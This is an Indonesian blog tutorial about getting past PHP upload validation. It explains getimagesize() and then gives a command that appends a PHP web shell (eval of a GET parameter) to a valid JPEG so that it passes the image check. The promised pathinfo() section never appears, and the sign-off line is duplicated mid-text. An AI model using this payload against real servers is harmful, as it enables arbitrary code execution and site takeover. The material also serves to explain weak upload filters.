Hai semua. Di tutorial ini akan dibahas cara membypass fungsi pathinfo() dan getimagesize() di PHP yang sering digunakan untuk membatasi upload. Goal tutorial ini yaitu agar file dapat terupload. Berikut pembahasannya.
1. Fungsi getimagesize()
Fungsi getimagesize() merupakan salah satu fungsi di PHP yang berfungsi untuk mendapatkan informasi ukuran/dimensi dari sebuah gambar. Fungsi ini sering juga digunakan untuk memvalidasi apakah file yang diupload merupakan gambar atau bukan.
Function [ <internal:standard> function getimagesize ] {
- Parameters [2] {
Parameter #0 [ <required> $imagefile ]
Parameter #1 [ <optional> &$info ]
}
}
Return dari fungsi ini berupa array. Berikut contoh return value getimagesize().
root@p4kl0nc4t:~# php -r 'print_r(getimagesize("http://php.net/favicon.ico"));'Array
(
[0] => 16
[1] => 16
[2] => 6
[3] => width="16" height="16"
[bits] => 24
[mime] => image/x-ms-bmp
)
2. Bypass getimagesize()
Oleh karena fungsi ini hanya untuk mengetahui dimensi gambar, maka meskipun ekstensi yang dimiliki yaitu .php, namun berupa gambar yang valid, maka getimagesize() tidak akan mengeluarkan error. Untuk melakukan bypass, dapat dilakukan dengan mudah yaitu menyisipkan kode php ke dalam sebuah gambar yang valid. Sederhananya, dapat dilakukan dengan perintah/command
Sekian, semoga bermanfaat :)
echo "<?php eval($_GET['x']); ?>" >>gambar.jpg. Berdasarkan command tersebut, kode PHP akan disisipkan ke ujung gambar, namun gambar akan tetap valid dan dapat melewati getimagesize() dengan sempurna.Sekian, semoga bermanfaat :)
Comments
Post a Comment